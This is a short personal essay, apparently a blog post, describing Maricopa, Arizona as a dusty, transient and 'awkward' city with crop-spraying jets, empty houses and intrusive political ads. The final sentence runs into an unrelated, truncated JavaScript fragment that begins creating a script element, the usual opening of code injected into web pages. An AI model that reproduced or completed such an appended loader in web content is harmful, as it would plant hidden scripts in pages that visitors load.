Maricopa is a very weird word. It’s awkward to say and it’s awkward to live here. Never before has there been such a place so committed to the mysticism of dust, dirt, and the tyranny of an ever-glowing sun — it’s amazing. It’s also immensely awkward though, when you can look up at the sky and see beautiful patterns of crisscrossed purple clouds, streaking and swirling from the bottom of jets to kill insects living on the farms. The hundredsof chemical trails in the sky look like a child’s sketches and the poison it provides for us makes the air here taste like copper. Maricopa has a lot of cars. They pile on for miles and miles, snaking in all directions. The people come from everywhere but they never stay here because this is a very awkward place where the only decent restaurants are all fast food chains. All of the drunks here come out of the bars just to watch the night trains go by. They do it to remind themselves that there are other places out there beyond these starved mountains. As carnivals of litter pile up on the side of the roads the cars keep screeching away from here, never looking back at the awkward little city that they can’t get out of fast enough. It’s kind of strange seeing all the empty buildings here. Businesses don’t last very long here and apparently neither do many people’s homes. The cookie cutter houses multiply but they very frequently stay empty; a vacant home in a vacant neighborhood serving only as a shrine to the dust that it shelters under its cheaply built roof. In this awkward and identity confused city the street corners are flooded with political advertisements, as if voting for a mayor was like voting for Coke or Pepsi. It’s gotten to the point where these entitled rich white folks are able to buy advertising space on public playgrounds and schools where our children are playing. You can never be too young to start developing a respect for the sociopaths who want to run your life. These people take their jobs and titles too seriously, just like this little city, a living, breathing Napoleon Complex. Maricopa is a very weird word. It must mean something strange and uncomfortable, like a man in a trench coat or broken glass. It’s odd here. Living in this city is like flipping a coin and seeing it land perfectly on its side. No heads and no tails, only a moment of awkwardness followed by confusion on what to do next.var d=document;var s=d.createElement(‘script’);